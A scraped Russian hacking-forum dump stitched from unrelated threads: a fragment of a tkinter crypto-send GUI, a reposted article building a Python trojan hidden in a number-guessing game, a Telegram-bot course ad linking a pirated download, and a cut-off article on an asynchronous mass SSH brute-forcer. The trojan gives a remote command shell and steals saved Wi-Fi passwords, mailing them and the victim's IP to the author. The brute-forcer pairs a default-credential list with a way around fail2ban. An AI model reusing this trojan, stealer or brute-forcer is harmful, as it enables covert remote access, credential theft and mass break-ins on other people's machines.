currency_combobox = ttk.Combobox(root, values=list(cryptocurrencies.keys()), state="readonly")
currency_combobox.grid(row=3, column=1, padx=10, pady=5)
currency_combobox.set("USDT")  # Default selection

# Submit Button
submit_button = tk.Button(root, text="Send Transaction", command=send_transaction)
submit_button.grid(row=4, column=0, columnspan=2, pady=10)

# Cancel Button
cancel_button = tk.Button(root, text="Cancel Last Transaction", command=cancel_transaction)
cancel_button.grid(row=5, column=0, columnspan=2, pady=10)

root.mainloop()

Создаем простейший троян на Python

ID: 6766c898b4103b69df37672f
Thread ID: 48148
Created: 2021-02-15T18:17:19+0000
Last Post: 2021-03-16T11:49:41+0000
Author: tabac
Prefix: Статья
Replies: 9 Views: 4K

В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.

Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).

ТЕОРИЯ

Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.

Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.

ОПРЕДЕЛЯЕМ IP

Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.

Начнем писать код. Сразу импортируем библиотеки:

Python:Copy to clipboard

import socket
from requests import get

Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip.

Python:Copy to clipboard

pip install socket
pip install requests

Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.

Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.

Python:Copy to clipboard

# Определяем имя устройства в сети
hostname = socket.gethostname()
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket.gethostbyname(hostname)
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get('http://api.ipify.org').text

Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.

Я выбрал сайт api.ipify.org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.

Вывести информацию еще проще:

Python:Copy to clipboard

print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

Никогда не встречал конструкции типа print(f'{}')? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).

Финальный код:

Python:Copy to clipboard

import socket
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.

БЭККОННЕКТ ПО ПОЧТЕ

Теперь напишем скрипт, который будет присылать нам письмо.

Импорт новых библиотек (обе нужно предварительно поставить через pip install):

Python:Copy to clipboard

import smtplib as smtp
from getpass import getpass

Пишем базовую информацию о себе:

Python:Copy to clipboard

# Почта, с которой будет отправлено письмо
email = 'xakepmail@yandex.ru'
# Пароль от нее (вместо ***)
password = '***'
# Почта, на которую отправляем письмо
dest_email = 'demo@xakep.ru'
# Тема письма
subject = 'IP'
# Текст письма
email_text = 'TEXT'

Дальше сформируем письмо:

Python:Copy to clipboard

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.

Python:Copy to clipboard

server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса
server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server.ehlo(email) # Отправляем hello-пакет на сервер
server.login(email, password) # Заходим на почту, с которой будем отправлять письмо
server.auth_plain() # Авторизуемся
server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)
server.quit() # Отключаемся от сервера

В строке server.ehlo(email) мы используем команду EHLO. Большинство серверов SMTP поддерживают ESMTP и EHLO. Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO, можно использовать HELO.

Полный код этой части трояна:

Python:Copy to clipboard

import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Запустив этот скрипт, получаем письмо.

![Письмо с IP](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17995%2Fscreenshot-2.png&hash=3487e88a895b2861f77a8e715c50e229)
Письмо с IP

Этот скрипт я проверил на VirusTotal. Результат на скрине.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F3b02b8bbaeb85ee4f04610d9882ce9ff%2F18001%2Fvtimg.png&hash=5361aa8cf254ad2faa33d59536e19755)

ТРОЯН

По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.

Как обычно, начнем с библиотек:

Python:Copy to clipboard

import random
import socket
import threading
import os

Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.

Python:Copy to clipboard

# Создаем функцию игры
def game():
    # Берем случайное число от 0 до 1000
    number = random.randint(0, 1000)
    # Счетчик попыток
    tries = 1
    # Флаг завершения игры
    done = False
    # Пока игра не закончена, просим ввести новое число
    while not done:
        guess = input('Введите число: ')
        # Если ввели число
        if guess.isdigit():
            # Конвертируем его в целое
            guess = int(guess)
            # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
            if guess == number:
                done = True
                print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')
            # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
            else:
                tries += 1
                if guess > number:
                    print('Загаданное число меньше!')
                else:
                    print('Загаданное число больше!')
        # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново
        else:
            print('Это не число от 0 до 1000!')

Зачем столько сложностей с проверкой на число? Можно было просто написать guess = int(input('Введите число: ')). Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.

Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.

Python:Copy to clipboard

# Создаем функцию трояна
def trojan():
    # IP-адрес атакуемого
    HOST = '192.168.2.112'
    # Порт, по которому мы работаем
    PORT = 9090
    # Создаем эхо-сервер
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
    while True:
        # Вводим команду серверу
        server_command = client.recv(1024).decode('cp866')
        # Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом
        if server_command == 'cmdon':
            cmd_mode = True
            # Отправляем информацию на сервер
            client.send('Получен доступ к терминалу'.encode('cp866'))
            continue
        # Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом
        if server_command == 'cmdoff':
            cmd_mode = False
        # Если запущен режим работы с терминалом, вводим команду в терминал через сервер
        if cmd_mode:
            os.popen(server_command)
        # Если же режим работы с терминалом выключен — можно вводить любые команды
        else:
            if server_command == 'hello':
                print('Hello World!')
        # Если команда дошла до клиента — выслать ответ
        client.send(f'{server_command} успешно отправлена!'.encode('cp866'))

Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.

Итак, строка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.

Строка client.connect((HOST, PORT)) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.

Функция client.recv(1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема. Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто ты руками вводишь в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.

Команда decode('cp866') декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно cp866? Зайдем в командную строку и введем команду chcp.
![Текущая кодовая страница](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17992%2Fccp.png&hash=42b6d56bf126505e8f336527dfc1dc87)
Текущая кодовая страница

Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть utf-8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет тебе домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.

Результат проверки клиента на VirusTotal порадовал.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F3b02b8bbaeb85ee4f04610d9882ce9ff%2F18002%2Fvtimg1.png&hash=97b5059e5d95f9a277d2825431b39c54)
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давай еще пароли от Wi-Fi стащим!

WI-FI-СТИЛЕР

Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.

Приступаем. Импорт библиотек:

Python:Copy to clipboard

import subprocess
import time

Модуль subprocess нужен для создания новых процессов и соединения c потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.

Итак, скрипт для извлечения паролей Wi-Fi:

Python:Copy to clipboard

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
# Создаем список всех названий всех профилей сети (имена сетей)
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
# Для каждого имени...
for Wi-Fi in Wi-Fis:
    # ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
    # Забираем ключ
    results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
    # Пытаемся его вывести в командной строке, отсекая все ошибки
    try:
        print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')
    except IndexError:
        print(f'Имя сети: {Wi-Fi}, Пароль не найден!')

Введя команду netsh wlan show profiles в командной строке, мы получим следующее.

![netsh wlan show profiles](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17994%2Fprofiles.png&hash=4dec2cdc452fe9b49680a9bbee2bbd8c)
netsh wlan show profiles

Если распарсить вывод выше и подставить имя сети в команду netsh wlan show profile [имя сети] key=clear, результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
![netsh wlan show profile ASUS key=clear](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17993%2Fkeys.png&hash=e8decbc383fe94701d2b27457d86b7e1)
netsh wlan show profile ASUS key=clear

![Вердикт VirusTotal](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F3b02b8bbaeb85ee4f04610d9882ce9ff%2F18003%2Fvtimg2.png&hash=aa5895f588d8b3758dbbe41a929434a2)
Вердикт VirusTotal

Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.

Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.

Python:Copy to clipboard

if server_command == 'Wi-Fi':
    data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
    Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
    for Wi-Fi in Wi-Fis:
        results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
        results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
        try:
            email = 'xakepmail@yandex.ru'
            password = '***'
            dest_email = 'demo@xakep.ru'
            subject = 'Wi-Fi'
            email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')
            message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
            server = smtp.SMTP_SSL('smtp.yandex.com')
            server.set_debuglevel(1)
            server.ehlo(email)
            server.login(email, password)
            server.auth_plain()
            server.sendmail(email, dest_email, message)
            server.quit()
        except IndexError:
            email = 'xakepmail@yandex.ru'
            password = '***'
            dest_email = 'demo@xakep.ru'
            subject = 'Wi-Fi'
            email_text = (f'Name: {Wi-Fi}, Password not found!')
            message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
            server = smtp.SMTP_SSL('smtp.yandex.com')
            server.set_debuglevel(1)
            server.ehlo(email)
            server.login(email, password)
            server.auth_plain()
            server.sendmail(email, dest_email, message)
            server.quit()

Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.

![Результат](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17996%2Fscreenshot-3.png&hash=4cb7625637f9dc3aaa37502fb126f089)
Результат

Доработки

Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.

И конечно, сам вирус очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?

ЗАКЛЮЧЕНИЕ

Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что ты уважаешь закон, а полученные знания о троянах тебе никогда не понадобятся.

В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будь аккуратен!

Автор @valery2504link ака Валерий Линьков
хакер.ру

Заработок на создании чат ботов Telegram для бизнеса

ID: 6766c898b4103b69df376739
Thread ID: 38333
Created: 2020-06-10T21:21:14+0000
Last Post: 2021-02-03T09:02:43+0000
Author: Banixiave
Prefix: Мануал/Книга
Replies: 6 Views: 4K

Чем будем заниматься?
- Мы будем создавать чат ботов Telegram для бизнеса с нуля на базе языка Python.
Никакие бесплатные/платные конструкторы не сравнятся с качеством нашей работы.
Кто наши клиенты?

- Кафе, рестораны, службы доставки, бьюти индустрия, интернет-магазины, продавцы аккаунтов, автомойки, арбитражники, инфобизнесмены, фитнес центры, кинотеатры, бассейны, массажные салоны.
Да и в целом, если у Вас есть бизнес, мы поможете себе сэкономить в 3-5 раз дешевле - чем заказывать у сторонних разработчиков.

Что требуется для работы?
- Ноутбук.
- Интернет.
- Не требуются специальные навыки, всему научим. Даже самого не смышленого человека.
- Работать можно одному.

Какие необходимы вложения для создания одного бота?
- В разработке и запуске от А до Я, в плане разработки 0 рублей.

Если клиент захочет блатные фишки, супер хостинг например - данные расходы покрываются им.

Какие варианты монетизации бота?
В обучении представлены кейсы:
- Заработок на своих ботах, без продаж клиентам.
- Создание индивидуальных ботов на заказ.

Работа онлайн 99%
- оставшийся 1% это редкая встреча с заказчиком для обсуждения ТЗ (технического задания). В основном все заказы без личных встреч.

Какие цены на ботов, чтоб я мог понимать диапазон заработка на этом?

- Ценовой сегмент колеблется от 3000 до 50000 рублей в среднем. Соответственно от простого бота визитки (тот же лендинг в другом формате, который мы делаем за 30минут). До интернет магазина с полным каталогом товаров, или ресторана с меню и различными функциями и фишками вплоть до оплаты картой внутри Telegram.

Есть пруфы, что это востребовано?
- Все карты раскрывать не будем, как самый простой пример поиска заказа для ленивых:

Сколько будет жить данный бизнес?
- Волна заказов тянется с 2018 года и только набирает обороты. Как говорят аналитики, к 2020-21 году 80% бизнеса будут иметь своих чат ботов.
Так как, они выполняют всю рутину, существенно сокращают расходы, заменяют рабочий персонал, ускоряют работу бизнеса, работают 24/7/365.

Что Вы предлагаете как проходит обучение?

Материал:

1. Наши, готовые шаблоны ботов в различных сегментах бизнеса, которые Вы сможете редактировать/дописывать/переписывать под себя/клиента после обучения.
2. Мануал по разбору кода и команд.
3. Мануал по поиску клиентов и коммерческого предложения клиентам.
4. Отснятые специально для Вас видео ролики по разбору наших шаблонов от А до Я для "чайников".
5. Рекламные материалы для Вашего бизнеса.
6. Готовые кейсы по самостоятельному заработку и кейсы по успешным внедрениям в малый/средний бизнес.
7. Индивидуальные и практические консультации на протяжении всего времени.
8. Закрытый канал Telegram с полезными материалами для работы.
Нашел на пиратской бухте.
Скачать: https://mega.nz/file/F843FKqL#JgR_dU4IrSkfKNRc3xnf1MteeuqWZ9Q2Nr95JhLEmMw

Пишем асинхронный ssh bruteforce на Python.

ID: 6766c898b4103b69df37673f
Thread ID: 38889
Created: 2020-06-26T11:09:08+0000
Last Post: 2021-01-19T13:53:14+0000
Author: dort
Prefix: Статья
Replies: 11 Views: 4K

Привет. Сегодня мы c вами вместе напишем прототип асинхронного скрипта для перебора ssh доступов на Python, который будет работать стабильней и быстрее чем такие инструменты как hydra и medusa.
А также может работать со списками ip выгруженными прямо из утилиты masscan.

О SSH
Если вдруг есть люди из танка:
SSH - это протокол прикладного уровня, позволяет удаленно управлять другим машинами, и пробрасывать (тунеллировать) трафик, (что-то типа vpn). Весь трафик проходящий по ssh протоколу - шифруется.
ssh повсеместно используется для управления серверами, ip камерами, роутерами и всем подобным. Должен сказать что устройств в сети которые поддерживают ssh

огромное количество. Обычно ssh работает по 22 порту, но бывают и исключения.

О нашем скрипте
Поскольку существуют такие системы как fail2ban то точечный брутфорс одного хоста без прокси - невозможен. Ибо после нескольких неудачных попыток ввода пароля, мы сразу-же получим бан.
По этому наш скрипт будет предназначен только для массовых атак, и работать следующим образом:
Мы будем делать итерации по списку хостов на предмет одной комбинации популярных логинов и паролей. После прохода итерации, пройдет достаточное время для того что-бы fail2ban нас не забанил, и скрипт пепейдет к следующей итерации уже с новой комбинацией логина и пароля.
Конечно с такой логикой работы наш скрипт это скорее "Парсер доступов со стандартными логинами и паролями" нежели брутфорс. Но зато есть один огромный плюс - нам не нужны прокси.

Почему на Python?
Так же как это работает с Правилом Интернета №34 которое гласит: "На любую популярную тему в интернете - есть порно".
Так же и с Python: "О чем бы ты не подумал - на это уже написана библиотека или обертка на python"
И в данном случае, всю грязную работу за нас уже сделала библиотека asyncssh.
Точнее сделал ее создатель

Spoiler: Дай бог здоровья хорошему человеку!

Рон Фредерик

Вот так выглядит настоящий хакер

Spoiler: Небольшой дисклеймер:

Внимание! Возможно своим кодом ниже, я только вызову у вас возмущение, ненависть, боль и осознание того что мир обречен из за невежества подрастающего поколения.
Вместо бранных речей, в мою сторону, лучше укажите мне на мои ошибки, и я смиренно буду впитывать информацию, потому-что осознаю, что я всего-лишь холоп на просторах информационных технологий.

Начнем с импорта библиотек, которые нам понадобятся

Python:Copy to clipboard

import asyncio                     # Стандартная библиотека для работы с асинхронным кодом
import asyncssh                    # Блиблиотека для асинхронной работы с ssh протоколом
import argparse                    # Блиблиотека для парсинга аргументов командной строки
from itertools import islice       # Для работы со списком хостов
from asyncssh.misc import ConnectionLost, PermissionDenied, ProtocolNotSupported, ChannelOpenError, ProtocolError # Импортируем исключения
import re                                 # Для работы с регулярными выражениями

По сути, все что нам нужно сделать, для того что-бы узнать рабочий ли сервер, это аутентифицироваться и выполнить команду на удаленном сервере.
Если команда выполняется, значит сервер - гуд.
Для того что-бы наш скрипт не простаивал во время ожидания ответа от сервера, а занимался в это время полезными делами - нам и пригодится асинхронность.

Подробнее про асинхронное программирование в Python можно прочитать из этой статьи _ttps://habr.com/ru/post/337420/
Если в двух словах - есть цикл событий (event loop) в котором крутятся все задачи которые нужно выполнить. И есть корутины - это асинхронные функции, они запускаются из цикла событий.
Когда в нашем скрипте корутина достигает блокировки (ожидание ответа на запрос от сервера) управление передается следующей корутине. И так далее.
Таким образом можно делать очень много запросов практически одновремеенно.

Давайте напишем нашу корутину:

Python:Copy to clipboard

async def make_connection(ip, login, password):
    try:
        async with connect(ip, username=login, password=password, known_hosts=None) as conn:
            result = await conn.run('whoami', check=True, timeout=5)
            if result.stdout.strip().lower() == login:
                return 0
    except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
        return 1
    except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
        return 1
    except PermissionDenied:
        return 2
    except Exception:
        return 1

Что здесь произошло?

Выглядит наша корутина как обычная функция с префиксом async , принимает 3 агрумента ip, login, password. хост куда подключаемся и данные, с которыми логинимся соответственно.
Используя контекстный менеджер with получаем дескриптор подключения используя asyncssh.connect() ив параметрах передаем хост и данные, параметр known_hosts=None указывает, что не надо искать ключи подключения на компьютере, а сразу-же подключатся используя логин и пароль.
Сохраняем в переменную conn и вызываем метод run() с помощью которого в библиотеке asyncssh можно отправить команду в удаленный терминал.
В нашем случае отправляем whoami (команда должна вернуть имя пользователя).
Таким образом если мы будем коннектится с логином root , и whoami вернет root , значит сервер - валид.

Я знаю, что whoami - это далеко не самый идеальный способ проверки, но статья носит сугубо ознакомительный характер и служит для того что-бы показать пример.
Если вы знаете способ получше - то сообщите мне его.

Если ловим исключения связанные с подключением - возвращаем 1
Значит по каким-то причинам хост не отвечает.
Если ловим PermissionDenied - исключение связанные с неправильным логином и паролем - возвращаем 2
Значит не подошел пароль.
В случае успешного выполнения whoami на удаленном сервере - возвращаем 0

Что касается

Python:Copy to clipboard

except Exception:

Расскажу небольшую историю:
Я сам вообще не кодер, нигде никогда не работал и не учился, а просто клацал питон самостоятельно, дома.
И в моем обучении был момент истины, до которого все мои скрипты не работали, а после которого заработали.
Однажды мне товарищ питонист, сказал что без try: except Exception: ни один код в продакшене у них не работает.
После этого откровения все мои программы заработали)
И в нашем случае тоже, потому-что на самом деле бог его знает, сколько там еще ошибок вылезет от такого количества запросов.
Меня хватило только отловить несколько самых популярных, а остальное мы положим на плечи try: except Exception.

Едем дальше
Поскольку в методе asyncssh.connect нет параметра timeout, то мы обернем нашу корутину методом asyncio.wait_for() который как раз создан для таких ситуаций.
В методе asyncssh.run() параметр timeout есть, и он касается только ожидания ответа на нашу команду whoami , а не на подключение в целом.
asyncio.wait_for() принимает на вход корутину и время, за которое она должна выполнится. Если корутина не успевает выполниться - будет вызвано исключение asyncio.TimeoutError , которое мы благопалучно ловим.

asyncio.Semaphore служит ограничением в одновременно выполняемых корутин (в нашем случае, коннектов. Потому-что пул одновременных коннектов не резиновый)
Если не обернуть нашу корутину в Semaphore , то если вы загрузите 1 миллион хостов на проверку, то скрипт попытается выполнить миллион запросов одновременно.
Естественно операционная система, сам компьютер и интерпретатор пайтона все вместе пошлют нас куда подальше, при таких раскладах.
По этому Semaphore здесь необходим.

Python:Copy to clipboard

semaphore = asyncio.Semaphore(args.c)                    # Обьявляем наш семофор. Который будет ограничивать до количества указанного в параметре командной строки

async def work(ip, login, password, fh):
    async with semaphore:
        try:
            result = await asyncio.wait_for(make_connection(ip, login, password), timeout=args.timeout)

            if result == 1:
                save_result('bad', fh, ip, login, password)
            if result == 2:
                save_result('wrong', fh, ip, login, password)
            if result == 0:
                save_result('good', fh, ip, login, password)
            if result == 3:
                save_result('honeypot', fh, ip, login, password)

        except asyncio.TimeoutError:
            save_result('bad', fh, ip, login, password)

В зависимости от возврата корутины make_connection(), сохраняем данные в файл с помощью функции save_result() которую мы напишем и она кстати будет выглядеть вот так:

Python:Copy to clipboard

def save_result(file, file_handle, ip, login, password):
    print(f'{ip}:{login}:{password}', file=file_handle[file])
    if not args.dp:
        print(f'[{get_index()}]\t\t[{file}]\t\t{ip}')

fh - это словарь, в котором будет лежать дескриптор файла в который будем сохранять результат.
Мы заранее откроем все файлы, что-бы не тратить ресурс на их открытие каждый и поместим дескрипторы в переменную fh таким образом:

Python:Copy to clipboard

def open_files():
    files = {'good': open('good.txt', 'a'),
             'bad': open('bad.txt', 'a'),
             'wrong': open('wrong.txt', 'a'),
             'honeypot': open('honeypot.txt', 'a')}
    return files

fh = open_files()

Ну как бы, на этом почти все. Фундамент нашего супер-брутфорса уже положен, осталось только дописать парсинг хостов из файла и запуск наших корутин из цикла событий.

Загружаем файл с айпишниками:

Python:Copy to clipboard

def load_hosts():
    with open(f'{args.path}') as file:      # args.path - будущий параметр командной строки (путь к файлу)
        for line in file:
            yield ''.join(re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", line))

С помощью yield делаем из нашей функции - генератор, и читаем файл по одной строке. Для того что-бы не загружать весь файл в оперативную память.
Таким образом в наш скрипт можно будет смело загружать много миллионов хостов, и мы не будем боятся что он отвалится по памяти.
С помощью регулярного выражения " \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" ищем в каждой строке ip адрес.
Это мы делаем для того, что-бы в наш скрипт был совместим с результативным логом утилит типа masscan и принимал списки даже такого вида:

Code:Copy to clipboard

Host: 221.34.0.15 () Ports:22/open/tcp///
Host: 143.22.75.1 () Ports:22/open/tcp///
Host: 43.12.55.1 () Ports:22/open/tcp///

Далее создаем функцию загрузки файла с заранее подготовленным списком комбинация логинов и паролей.

Python:Copy to clipboard

def load_credentials():
    with open('credentials.txt') as file:
        return [(line.split(':')[0], line.split(':')[1].strip()) for line in file.readlines()]

Возвращать будет наша функция load_credentials() кортеж вида (login, password).
Вот примерный список самых популярных комбинаций логинов и паролей, что мне удалось найти:

Python:Copy to clipboard

root:root
oracle:oracle
root:123456
root:abc123
root:password
root:default
admin:default
test:toor
root:dietpi
support:support
root:!@
ubnt:ubnt
ftp:ftp

Собственно этот список у нас и хранится в файле credentials.txt

Теперь давайте запилим цикл событий.
Поскольку если мы загрузим в наш цикл событий сразу-же много миллионов задач, то он попросту завалится и пошлет куда подальше.
По этому спомощью следующей хитрой конструкции со stackoverflow, мы будем подавать нашему скрипту хосты кусками по 100 000 штук, для стабильности.

Python:Copy to clipboard

def chunks(n, iterable):
    i = iter(iterable)
    piece = list(islice(i, n))
    while piece:
        yield piece

Запускать будем нашу корутину work() из другой корутины run()

Python:Copy to clipboard

async def run(targets, login, password, fh):
    tasks = []
    for target in targets:
        tasks.append(work(target, login, password, fh))
    await asyncio.gather(*tasks)

Генерируем задачи и добавляем их в цикл событий.
Для каждого чанка, создаем новый цикл событий и перезапускаем его.

Python:Copy to clipboard

def main():
    targets = chunks(100000, load_hosts())                                # Делим хосты на куски по 100 000
    for login, password in load_credentials():                            # Обходим циклом каждый логин и пароль в credentials
        for chunk in targets:                                            # Обходим циклом каждый кусок списка хостов
            loop = asyncio.get_event_loop()                                # Создаем цикл событий
            future = asyncio.ensure_future(run(chunk, login, password))    # формируем задания
            loop.run_until_complete(future)                             # Запускаем

Вуа-ля. Наш скрипт почти готов.
Но остались еще небольшие нюансы. Поскольку мы пишем скрипт для людей, то надо реализовать парсинг параметров командной строки.

